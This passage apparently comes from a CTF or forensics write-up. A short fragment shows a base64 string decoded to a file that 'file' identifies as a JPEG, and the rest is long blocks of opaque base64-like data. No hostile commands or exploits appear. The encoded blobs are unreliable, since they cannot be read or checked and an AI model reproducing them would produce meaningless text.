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| base64 -d > unknown_filefile unknown_file```
Output:
```unknown_file: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1080x2094, components 3```
So, the file was a JPEG file. If you are using a VPS server without GUI as I'm doing, you can download the image from there or view directly the image using the Base64 encoded string from the browser (just copy and paste it in the URL bar):
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